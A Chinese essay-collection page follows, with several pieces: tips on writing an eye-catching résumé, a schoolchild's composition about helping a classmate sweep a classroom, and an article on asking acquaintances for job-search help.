通过个人简历求职，这在现在的人才交流中心已司空见惯。无论是普通的A4纸加塑料封皮制作的个人简历，还是时下流行的VCD光碟简历、求职名片等等，虽然形式多样，但目的都是一样，就是想通过简历将个人信息传递给考官，并让其留下深刻的'印象，随即打勾的符号，作为下轮面试的对象。
要想引起考官的注意，求职者在准备个人简历时，不妨从3个方面下功夫。
内容重于形式
从简历中最直接显示的每个人在校期间所学的知识和实践的经历。而单位在招聘人员时，最看中的是个人的实践能力。可是，不少求职者在简历中只着重介绍掌握了那些知识，而对于工作经历却寥寥数语。有些则只注明了工作单位，工作时间、内容、职务、业绩却只字不提。这样势必影响求职的成功率。
选择最美的瞬间照片
以貌取人的做法并不可取，但能否给单位考官留下良好的“第一印象”，这在求职过程中往往起到关键的作用。员工形象很大程度上关系到企业形象，因此，求职者在制作简历时，别忘了留下自己最美的瞬间。
去伪存真，去粗取精
有人认为个人简历越厚越好，这样才显得有实力，实则不然。试想，置身与简历堆里，考官若看不到想看的内容，不免产生厌烦心理。在此，提醒广大求职者在作自我介绍时应有所侧重，去粗取精，去伪存真，将自己最闪光的一面亮出来。
篇14：帮你打造成功求职简历
一、将“个人简历”换成个人姓名
建议求职者将简历上方的“个人简历”四个字换成自己的姓名和联系方式。
招聘者在挑选求职者进入下一轮笔试或面试时，经常会遇到人数不够的情况。他们不可能再重新从上千份简历中找出符合条件的求职者，他们一般只会凭第一遍看简历时的印象进行筛选。如果求职者的简历上最明显的位置上写的是自己的姓名和联系方式而非毫无用处的“个人简历”四个字的话，人力资源主管就能轻松地记住该求职者的姓名，并找到他的简历。
二、简历有两页纸即可
一般来说，简历有两页纸就足够了，不仅可以节约求职成本，还方便HR翻阅。第一页可以描述本人的基本概况，第二页再具体介绍自己丰富的实践经验及兴趣、特长等内容。简历既不需要封皮，也不要在后面附上大量的证书复印件，证书可以在面试时再给面试官看。三、简历不宜过于花哨很多人的'简历制作得不错，但太花哨，全都是密密麻麻的粗体字、斜体字和艺术字，整体一看很粗糙。尽量少用这些东西。当然需要特别突出的重要的东西，可以稍微突出一下。
毕业生简历五个细节抓眼球
简历怎样写才“抓人”大学毕业生求职，首先就是要通过向用人单位呈送求职简历来介绍和推销自己。求职简历是用人单位了解毕业生有关情况的重要途径和方式。因此，求职简历写得是否“抓人”，对毕业生求职的成功与否起着十分关键的作用。那么，怎样才能将求职简历写得更加“抓人”呢？
1.要善于写出那些能表现自己人格、品质魅力的经历是否具有特殊的经历、优秀的人格品质以及良好的性格，已经成为当今许多用人单位在录用人员时要考虑的一项重要条件和内容。毕业生如能在这方面进行挖掘，做些文章，无疑是会给自己的“双选”或应聘增添一些优势的。
有位毕业生曾这样介绍自己的经历，颇得用人单位欣赏并最终录用了他：“我来自贫困山区的贫困家庭，恶劣的环境和艰苦的生活磨练了自己吃苦耐劳、顽强不屈的品质，只要能读书，再大的苦本人都能吃。考上大专以后，我格外地珍惜这难得的读书机会，学习一直都很用功，所以基础比较扎实，成绩优秀。现在我即将毕业走向社会，只要能给我一份工作，我一定会加倍珍惜，再苦再累的活儿我都能干，难道还有比贫困山区更苦更累的活儿吗？”
2.要写出自己对一些相关问题的看法和态度现在的用人单位在录用员工时，已不是单单看他会不会干活，而且还要看他有没有思想，有没有头脑，有没有眼光，能不能为本单位的继续发展出点子、想办法。因此，毕业生在写求职简历时，如果能够自然地写出自己对一些与自己相关问题的认识和看法，也可以让用人单位对自己认识事物的能力和水平有所了解。
篇15：让我来帮你作文600字
让我来帮你作文600字
夕阳静静地洒在高大的松树上，仿佛为他蒙上金色的面纱。一片小竹林像一个累极了的宝宝，在微风中睡着了。同学们收起书包，高高兴兴地排队回家。
这时，闻锐正拿着扫把发愁，原本漂亮的瓜子脸皱得像被团过的纸，脸上像有一层乌云，眉毛成了“川”字形，目光里有着满满一箩筐着急，茫然地望着教室里一排排的课桌。
“怎么了？闻锐，发着什么愁？”我轻轻地拍了拍她的背。
“你看那地上……”她有些哽咽。
我顺着她的目光看去，地上真脏呀！你瞧：刘桐童的课桌斜趟在地上，孙鑫杰的`位置底下满是小纸片……
呀，这么脏的地，她一个人要扫到什么时候呀！她爸爸在门口等的肯定很着急，而且今天作业多，她今天要熬夜了。难怪她刚才快要哭了。
“我来帮你吧！”说着，我帮她架起了凳子。
四组凳子架好了，我累得上气不接下气，手臂真酸，手掌上留下来红印，腰疼得都直不起来，脚上的力气飞到了九霄云外，心扑通扑通地上下跳起了舞。
我又拿起扫把帮她扫地。看看这个座位。咦！是谁这样缺德，把纸片都扔在墙角里？扫把也扫不出来。不管了，我撸起袖子，伸手去捡。哎呀，不好！这些纸都粘在地上，像“牛皮癣”一样，撕不下来。我只好找来直尺，费了九牛二虎之力终于把所有的“癣”清除干净了
打扫结束，我和她一起走出了教室。广场上，红叶石楠在微风中舞蹈。我们哼着歌，脚步轻盈地向校门走去。
“谢谢你，要不是你，我今天可要待到很晚呢！来，这颗玻璃珠送给你。”闻锐一边擦着额头上的汗水，一边笑眯眯地给我一颗玻璃珠。
“不用谢，我们都是好朋友嘛！”我拍了拍她的肩膀。
篇16：三招让猎头帮你搞定工作
当你找工作的时候，有没有想过寻求什么样的帮助是正确的，而什么样的帮助对你又毫无意义呢?在最近的这段时间，我一直在思考这个问题，我跟三个正处在这个阶段的熟人聊了聊，但是比较讽刺的是，他们全是职业网民。然而他们还是跟我分享了他们的专业见解，告诉我们求职过程中什么是一定要做的，而什么又是必须要避免地。下面的这三招对你绝对意义非凡。
1. 尽早并时常通报自己的情况。
多年前，我遇到了史蒂夫，他那时在我客户参与的一个特遣部队任职。后来他离开了这份工作，并且做出了离职后很重要的一个举动：给我，并给在他数据库中的每个人通发了邮件，告诉我们他正在找工作并询问我们能否帮他转发简历。这是个绝对低强度高效率的完美办法，因为他并没有花费太多脑筋去写个性化的'邮件模板，也没有给别人带来什么不方便，这种做法可能在第一时间内就会引起正在招聘的人的注意，并很可能很快接到面试通知。
优点所在：他广泛撒网。你应该在电子邮件正文中让大家知道你要干吗。否则，他们怎么会知道你正在找工作，又怎么能给你提供相关的工作机会呢?
不足之处：没有后续跟进，
我在一个月之内没听到他的新动向，这可能就意味着他已经从大家的视线中消失了。他Facebook的状态显示他仍然还在失业中。他应该每隔6至8周就登录一下更改自己的最新状态，并且提醒大家他仍然还在求职中。
2.要与朋友取得会面的机会。
在乔的事发生后不久，一位非营利组织的副总裁被公司裁掉了，他给我发了封邮件说想跟我见面。虽然与偶然相识的朋友通过电子邮件的方式保持联系就已经足够了，但是当你想要听听他们的建议时，最好还是约在一起面谈比较好。如果你们见面谈，对于正处在失业状态的朋友来说，你的建议会显得非常弥足珍贵。由你决定会面的时间和地点，即使是由他来为你们的咖啡买单，他也会心甘情愿，毕竟是他希望倾听你的建议，同时，因为你提供给他求职的建议，你也不会觉得因为让他买单而有惭愧之感。
优点所在：他要求跟我会面但是由我来提供见面的地点和时间，这样对我来说很方便。
不足之处：结果由于他胃疼在我们约好见面的前一天突然取消了会面，并且发誓会另选机会跟我见面。结果可想而知：从此后我再也没有他的任何消息，他也没有从我这借鉴到任何有关求职的妙招。如果你真的很在乎这次面谈，那就一定要非常珍惜，机不可失，失不再来，就是这个道理。
3. 以退为进。
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